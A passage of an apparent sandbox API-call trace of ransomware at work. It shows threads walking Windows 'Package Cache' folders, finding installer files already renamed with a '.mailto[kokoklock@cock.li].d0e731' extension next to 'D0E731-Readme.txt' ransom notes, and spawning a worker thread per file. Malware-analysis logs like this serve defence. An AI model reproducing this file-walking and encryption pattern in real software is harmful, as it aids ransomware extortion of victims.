1795 os_tid = 0xed0 [0169.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f837f0 [0169.234] wcscpy (in: _Dest=0x2f837f0, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0169.234] wcscat (in: _Dest=0x2f837f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0169.234] wcscat (in: _Dest=0x2f837f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0169.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0169.234] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806a0 [0169.235] wcscmp (_String1=".", _String2=".") returned 0 [0169.235] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.235] wcscmp (_String1="..", _String2=".") returned 1 [0169.235] wcscmp (_String1="..", _String2="..") returned 0 [0169.235] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.235] wcscmp (_String1="packages", _String2=".") returned 1 [0169.235] wcscmp (_String1="packages", _String2="..") returned 1 [0169.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x3024790 [0169.235] wcscpy (in: _Dest=0x3024790, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0169.235] wcscat (in: _Dest=0x3024790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0169.235] wcscat (in: _Dest=0x3024790, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0171.052] Sleep (dwMilliseconds=0x1) [0171.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3024790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0171.134] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.134] FindClose (in: hFindFile=0x2f806a0 | out: hFindFile=0x2f806a0) returned 1 [0171.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0171.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f837f0) returned 1 [0171.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ec30) returned 1 [0171.138] RtlExitUserThread (Status=0x0) Thread: id = 1796 os_tid = 0xed4 [0169.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f838a8 [0169.235] wcscpy (in: _Dest=0x2f838a8, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0169.235] wcscat (in: _Dest=0x2f838a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0169.235] wcscat (in: _Dest=0x2f838a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0169.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99ff0 [0169.236] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808a0 [0169.236] wcscmp (_String1=".", _String2=".") returned 0 [0169.236] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.236] wcscmp (_String1="..", _String2=".") returned 1 [0169.236] wcscmp (_String1="..", _String2="..") returned 0 [0169.236] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.236] wcscmp (_String1="packages", _String2=".") returned 1 [0169.236] wcscmp (_String1="packages", _String2="..") returned 1 [0169.236] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2fc3ea8 [0169.236] wcscpy (in: _Dest=0x2fc3ea8, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0169.236] wcscat (in: _Dest=0x2fc3ea8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0169.236] wcscat (in: _Dest=0x2fc3ea8, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0171.052] Sleep (dwMilliseconds=0x1) [0171.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc3ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0171.133] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.133] FindClose (in: hFindFile=0x2f808a0 | out: hFindFile=0x2f808a0) returned 1 [0171.133] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99ff0) returned 1 [0171.133] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f838a8) returned 1 [0171.133] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6db00) returned 1 [0171.133] RtlExitUserThread (Status=0x0) Thread: id = 1797 os_tid = 0xed8 [0169.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa2278 [0169.237] wcscpy (in: _Dest=0x2fa2278, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0169.237] wcscat (in: _Dest=0x2fa2278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0169.237] wcscat (in: _Dest=0x2fa2278, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0169.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a258 [0169.237] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c26c79b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c26c79b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806e0 [0169.238] wcscmp (_String1=".", _String2=".") returned 0 [0169.238] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c26c79b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c26c79b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.239] wcscmp (_String1="..", _String2=".") returned 1 [0169.239] wcscmp (_String1="..", _String2="..") returned 0 [0169.239] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c225481, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c225481, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c225481, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.239] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.239] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.239] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c225481, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STATER~1.D0E")) returned 1 [0169.239] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.239] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc3fe0 [0169.239] wcscpy (in: _Dest=0x2fc3fe0, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0169.239] wcscat (in: _Dest=0x2fc3fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0169.239] wcscat (in: _Dest=0x2fc3fe0, _Source="state.rsm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0171.052] Sleep (dwMilliseconds=0x1) [0171.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0171.129] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c26c79b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbef38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VC_RED~1.D0E")) returned 1 [0171.129] wcscmp (_String1="VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.129] wcscmp (_String1="VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84a18 [0171.129] wcscpy (in: _Dest=0x2f84a18, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0171.129] wcscat (in: _Dest=0x2f84a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0171.129] wcscat (in: _Dest=0x2f84a18, _Source="VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731" [0171.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0171.130] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c26c79b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbef38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VC_RED~1.D0E")) returned 0 [0171.130] FindClose (in: hFindFile=0x2f806e0 | out: hFindFile=0x2f806e0) returned 1 [0171.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a258) returned 1 [0171.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2278) returned 1 [0171.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4f70) returned 1 [0171.131] RtlExitUserThread (Status=0x0) Thread: id = 1798 os_tid = 0xedc [0169.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa2318 [0169.239] wcscpy (in: _Dest=0x2fa2318, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0169.239] wcscat (in: _Dest=0x2fa2318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0169.239] wcscat (in: _Dest=0x2fa2318, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0169.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a4c0 [0169.239] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c1fa04e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1fa04e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80720 [0169.241] wcscmp (_String1=".", _String2=".") returned 0 [0169.242] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c1fa04e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1fa04e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.242] wcscmp (_String1="..", _String2=".") returned 1 [0169.242] wcscmp (_String1="..", _String2="..") returned 0 [0169.242] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c1ade50, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c1ade50, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.242] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.242] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.242] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STATER~1.D0E")) returned 1 [0169.242] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.242] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc40d0 [0169.242] wcscpy (in: _Dest=0x2fc40d0, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0169.242] wcscat (in: _Dest=0x2fc40d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0169.242] wcscat (in: _Dest=0x2fc40d0, _Source="state.rsm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0171.051] Sleep (dwMilliseconds=0x1) [0171.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc40d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0171.125] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c1fa04e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x71180, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 1 [0171.125] wcscmp (_String1="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.125] wcscmp (_String1="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f84918 [0171.125] wcscpy (in: _Dest=0x2f84918, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0171.126] wcscat (in: _Dest=0x2f84918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0171.126] wcscat (in: _Dest=0x2f84918, _Source="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package 